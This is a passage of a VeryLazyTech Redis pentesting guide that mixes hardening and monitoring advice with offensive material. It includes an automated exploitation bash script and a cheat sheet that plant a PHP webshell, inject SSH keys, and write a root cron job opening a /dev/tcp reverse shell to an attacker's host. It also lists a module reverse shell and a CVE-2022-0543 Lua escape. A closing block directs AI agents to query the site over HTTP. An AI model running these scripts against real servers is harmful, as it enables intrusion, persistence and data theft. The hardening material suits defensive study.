# Module will auto-load on restart
```

### Lateral Movement

**Enumerate Network from Redis**

```bash
# If module is loaded with system execution
127.0.0.1:6379> system.exec "ip addr"
127.0.0.1:6379> system.exec "cat /etc/hosts"
127.0.0.1:6379> system.exec "netstat -ano"

# Scan internal network
127.0.0.1:6379> system.exec "nmap -sn 10.10.10.0/24"
```

**Dump Redis Master-Slave Configuration**

```bash
# Check if part of cluster
127.0.0.1:6379> INFO replication

# If slave, get master info
role:slave
master_host:10.10.10.100
master_port:6379

# Connect to master
redis-cli -h 10.10.10.100
```

**Search for Other Redis Instances**

```bash
# Check config for other Redis hosts
127.0.0.1:6379> CONFIG GET *

# Look for references to other hosts
127.0.0.1:6379> KEYS *redis*
127.0.0.1:6379> KEYS *cache*
```

## Defense & Hardening

#### Secure Configuration

**Disable Dangerous Commands**

```bash
# Edit /etc/redis/redis.conf

# Rename dangerous commands
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command CONFIG "CONFIG_b840fc02d524045429941cc15f59e41cb7be6c52"
rename-command SAVE ""
rename-command BGSAVE ""
rename-command SHUTDOWN ""
rename-command DEBUG ""
rename-command MODULE ""
```

**Enable Authentication**

```bash
# Redis < 6.0 (password only)
requirepass your_very_strong_password_here

# Redis 6.0+ (ACL)
# Create users with limited permissions
user default on nopass ~* &* +@all
user readonly on >readonlypass ~* &* +@read
user webapp on >webapppass ~app:* &* +@read +@write -@dangerous
```

**Bind to Localhost Only**

```bash
# Edit /etc/redis/redis.conf

# Bind to localhost only
bind 127.0.0.1 ::1

# Or specific interface
bind 192.168.1.100

# Enable protected mode
protected-mode yes
```

**Disable Lua Scripting (if not needed)**

```bash
# Rename EVAL and related commands
rename-command EVAL ""
rename-command EVALSHA ""
rename-command SCRIPT ""
```

**Run as Unprivileged User**

```bash
# Create redis user
useradd -r -s /bin/false redis

# Set ownership
chown -R redis:redis /var/lib/redis
chown redis:redis /etc/redis/redis.conf

# Run as redis user
# In /etc/redis/redis.conf:
# (This is usually default)
```

**Disable Persistence (if caching only)**

```bash
# Disable RDB
save ""

# Disable AOF
appendonly no

# This prevents file write attacks
```

**Enable TLS**

```bash
# Generate certificates
openssl req -newkey rsa:4096 -x509 -sha256 -days 365 -nodes \
  -out redis.crt -keyout redis.key

# Configure Redis
port 0  # Disable non-TLS port
tls-port 6379
tls-cert-file /etc/redis/redis.crt
tls-key-file /etc/redis/redis.key
tls-ca-cert-file /etc/redis/ca.crt

# Connect with TLS
redis-cli --tls --cert redis.crt --key redis.key --cacert ca.crt
```

**Set Resource Limits**

```bash
# Limit max connections
maxclients 10000

# Limit memory usage
maxmemory 2gb
maxmemory-policy allkeys-lru

# Connection timeout
timeout 300

# TCP backlog
tcp-backlog 511
```

#### Network Security

**Firewall Rules**

```bash
# UFW
ufw deny 6379/tcp
ufw allow from 127.0.0.1 to any port 6379
ufw allow from 192.168.1.0/24 to any port 6379

# iptables
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

# Save rules
iptables-save > /etc/iptables/rules.v4
```

**Use VPN or SSH Tunnel**

```bash
# SSH tunnel for remote access
ssh -L 6379:localhost:6379 user@redis-server

# Then connect locally
redis-cli -h 127.0.0.1
```

#### Monitoring & Detection

**Enable Logging**

```bash
# Edit /etc/redis/redis.conf

# Log level (debug, verbose, notice, warning)
loglevel notice

# Log file
logfile /var/log/redis/redis-server.log

# Slow log (log queries slower than X microseconds)
slowlog-log-slower-than 10000
slowlog-max-len 128
```

**Monitor Commands**

```bash
# Watch Redis in real-time
redis-cli MONITOR | tee redis_monitor.log

# Analyze for suspicious patterns
grep -E "CONFIG|SAVE|MODULE|EVAL" redis_monitor.log
```

**Audit Logs**

```bash
# Check who authenticated
grep "Accepted" /var/log/redis/redis-server.log

# Check for failed auth attempts
grep "Invalid password" /var/log/redis/redis-server.log

# Check for dangerous commands
grep -E "CONFIG SET|FLUSHALL|MODULE LOAD" /var/log/redis/redis-server.log
```

**Intrusion Detection**

```bash
# Monitor for suspicious connections
tcpdump -i eth0 -nn port 6379 -w redis_traffic.pcap

# Analyze with Wireshark or tshark
tshark -r redis_traffic.pcap -Y "redis"

# Look for:
# - Connections from unexpected IPs
# - Unusual command patterns
# - Large data transfers
# - Module loading attempts
```

**File Integrity Monitoring**

```bash
# Monitor critical files
# /etc/redis/redis.conf
# /var/lib/redis/dump.rdb
# /etc/cron.d/*
# /var/spool/cron/crontabs/*

# Using AIDE
aide --init
aide --check

# Or use auditd
auditctl -w /etc/redis/redis.conf -p wa -k redis_config
auditctl -w /var/lib/redis/ -p wa -k redis_data
```

#### Regular Security Tasks

```bash
# Update Redis regularly
apt update && apt upgrade redis-server

# Check for exposed instances
nmap -p 6379 <your-public-ip>

# Verify configuration
redis-cli CONFIG GET *

# Test authentication
redis-cli -h <external-ip> INFO
# Should fail if properly secured

# Check for loaded modules
redis-cli MODULE LIST

# Review ACLs (Redis 6+)
redis-cli ACL LIST

# Backup regularly
redis-cli BGSAVE
cp /var/lib/redis/dump.rdb /backup/redis-$(date +%Y%m%d).rdb
```

## Tools & Scripts

#### Essential Tools

**redis-cli** - Official Redis CLI&#x20;

**redis-dump** - Dump Redis database&#x20;

**redis-utils** - Python utilities for Redis&#x20;

**nmap** - Network scanning&#x20;

**Metasploit** - Exploitation framework&#x20;

**redis-rogue-server** - Automated RCE tool

#### Custom Scripts

**Redis Enumeration Script**

```python
#!/usr/bin/env python3
import redis
import sys

def enumerate_redis(host, port, password=None):
    try:
        r = redis.Redis(host=host, port=port, password=password, 
                       decode_responses=True, socket_connect_timeout=5)
        
        # Test connection
        r.ping()
        print(f"[+] Connected to {host}:{port}")
        
        # Get server info
        info = r.info()
        print(f"\n[*] Redis Version: {info['redis_version']}")
        print(f"[*] OS: {info['os']}")
        print(f"[*] Process ID: {info['process_id']}")
        print(f"[*] Config File: {info.get('config_file', 'N/A')}")
        
        # Check authentication
        try:
            config = r.config_get('requirepass')
            if config['requirepass']:
                print(f"[*] Password Required: Yes")
            else:
                print(f"[*] Password Required: No")
        except:
            pass
        
        # Get databases
        keyspace = r.info('keyspace')
        print(f"\n[*] Databases:")
        for db, info in keyspace.items():
            print(f"    {db}: {info}")
        
        # Get configuration
        print(f"\n[*] Important Configs:")
        for config in ['dir', 'dbfilename', 'bind', 'protected-mode']:
            try:
                value = r.config_get(config)
                print(f"    {config}: {value.get(config, 'N/A')}")
            except:
                pass
        
        # Check for modules
        try:
            modules = r.module_list()
            if modules:
                print(f"\n[*] Loaded Modules:")
                for module in modules:
                    print(f"    {module}")
            else:
                print(f"\n[*] No modules loaded")
        except:
            print(f"\n[*] MODULE command not available")
        
        # Sample some keys
        print(f"\n[*] Sample Keys:")
        for i in range(3):
            r.select(i)
            keys = r.keys('*')
            if keys:
                print(f"    DB{i}: {keys[:10]}...")
        
    except redis.exceptions.AuthenticationError:
        print(f"[-] Authentication required")
        return False
    except redis.exceptions.ConnectionError:
        print(f"[-] Connection failed")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False
    
    return True

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port] [password]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 6379
    password = sys.argv[3] if len(sys.argv) > 3 else None
    
    enumerate_redis(host, port, password)
```

**Automated Exploitation Script**

```bash
#!/bin/bash

TARGET=$1
METHOD=$2

if [ -z "$TARGET" ] || [ -z "$METHOD" ]; then
    echo "Usage: $0 <target-ip> <method>"
    echo "Methods: webshell, ssh, cron, info"
    exit 1
fi

case $METHOD in
    info)
        echo "[*] Gathering Redis information..."
        redis-cli -h $TARGET INFO
        redis-cli -h $TARGET CONFIG GET *
        ;;
    
    webshell)
        echo "[*] Attempting webshell upload..."
        read -p "Enter web root path: " WEBROOT
        read -p "Enter filename (e.g., shell.php): " FILENAME
        
        redis-cli -h $TARGET <<EOF
CONFIG SET dir $WEBROOT
CONFIG SET dbfilename $FILENAME
SET shell "<?php system(\$_GET['cmd']); ?>"
SAVE
EOF
        echo "[+] Webshell uploaded to http://$TARGET/$FILENAME?cmd=whoami"
        ;;
    
    ssh)
        echo "[*] Generating SSH keys..."
        ssh-keygen -t rsa -f redis_key -N ""
        (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt
        
        cat spaced_key.txt | redis-cli -h $TARGET -x set ssh_key
        
        redis-cli -h $TARGET <<EOF
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
EOF
        
        echo "[+] SSH key installed. Try: ssh -i redis_key redis@$TARGET"
        ;;
    
    cron)
        echo "[*] Setting up cron job..."
        read -p "Enter your IP: " LHOST
        read -p "Enter your port: " LPORT
        
        echo -e "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\n\n" | redis-cli -h $TARGET -x set cronpayload
        
        redis-cli -h $TARGET <<EOF
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root
SAVE
EOF
        
        echo "[+] Cron job set. Start listener: nc -lvnp $LPORT"
        ;;
    
    *)
        echo "[-] Unknown method: $METHOD"
        exit 1
        ;;
esac
```

## Cheat Sheet

#### Quick Reference

```bash
# ENUMERATION
nmap -p 6379 -sV --script redis-info <target>
redis-cli -h <target> INFO
redis-cli -h <target> CONFIG GET *
redis-cli -h <target> CLIENT LIST

# AUTHENTICATION
redis-cli -h <target> -a <password>
redis-cli -h <target> AUTH <password>
redis-cli -h <target> AUTH <username> <password>

# DATABASE OPERATIONS
SELECT <db-number>                    # Switch database
KEYS *                                # List all keys
DBSIZE                                # Count keys
GET <key>                             # Get value
HGETALL <key>                         # Get hash
LRANGE <key> 0 -1                     # Get list

# EXPLOITATION - WEBSHELL
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell "<?php system($_GET['cmd']); ?>"
SAVE

# EXPLOITATION - SSH
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SET ssh_key "\n\nssh-rsa AAAA...\n\n"
SAVE

# EXPLOITATION - CRON
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root
SET payload "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'\n\n"
SAVE

# EXPLOITATION - MODULE
MODULE LOAD /tmp/module.so
system.exec "whoami"
system.rev <attacker-ip> <port>

# EXPLOITATION - LUA (CVE-2022-0543)
EVAL 'local os = require("os"); return os.execute("id")' 0

# POST-EXPLOITATION
KEYS *password*                       # Find passwords
MONITOR                               # Watch commands
SLOWLOG GET 25                        # Get slow queries
INFO replication                      # Check master/slave

# CLEANUP
FLUSHDB                              # Clear current DB
FLUSHALL                             # Clear all DBs
CONFIG SET dbfilename dump.rdb       # Restore filename
CONFIG SET dir /var/lib/redis        # Restore directory
```

#### Important Configs

```bash
dir             # Working directory
dbfilename      # Database filename
requirepass     # Password
bind            # Bind address
protected-mode  # Protected mode
save            # Persistence settings
```

#### Common Paths

```bash
# Config
/etc/redis/redis.conf
/etc/redis.conf

# Data
/var/lib/redis/
/var/lib/redis/dump.rdb

# Logs
/var/log/redis/redis-server.log

# Web roots
/var/www/html
/usr/share/nginx/html

# Cron
/var/spool/cron/crontabs/  # Ubuntu/Debian
/var/spool/cron/           # CentOS/RHEL

# SSH
/var/lib/redis/.ssh/authorized_keys
/home/redis/.ssh/authorized_keys
/root/.ssh/authorized_keys
```

### Conclusion

Redis is a powerful in-memory data store, but when misconfigured, it becomes a critical security vulnerability. As demonstrated in this guide, Redis can be exploited in numerous ways:

**Key Takeaways:**

1. **Never expose Redis to the internet** without proper authentication
2. **Always set a strong password** (or use ACLs in Redis 6+)
3. **Bind to localhost only** unless remote access is required
4. **Disable dangerous commands** like CONFIG, MODULE, EVAL
5. **Run Redis as unprivileged user** to limit impact
6. **Monitor Redis logs** for suspicious activity
7. **Keep Redis updated** to patch known vulnerabilities
8. **Use TLS** for encrypted connections
9. **Regular backups** to prevent data loss
10. **Test your security** regularly with the techniques in this guide

**Common Attack Vectors:**

* Unauthenticated access leading to data theft
* Webshell upload via file write
* SSH key injection for remote access
* Cron job injection for persistence
* Module loading for direct RCE
* Lua sandbox escape (CVE-2022-0543, CVE-2025-\*)
* SSRF to internal Redis instances
* Master-slave replication abuse

Remember to only use these techniques during authorized penetration testing engagements. Unauthorized access to computer systems is illegal.

### Additional Resources

* [Redis Official Documentation](https://redis.io/documentation)
* [Redis Security Guide](https://redis.io/topics/security)
* [Redis ACL Documentation](https://redis.io/topics/acl)
* [HackTricks Redis Pentesting](https://book.hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html)
* [PayloadsAllTheThings - Redis](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Redis%20Injection.md)
* [CVE-2022-0543 Analysis](https://github.com/aodsec/CVE-2022-0543)
* [Redis Module Development](https://redis.io/topics/modules-intro)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/redis-port-6379.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
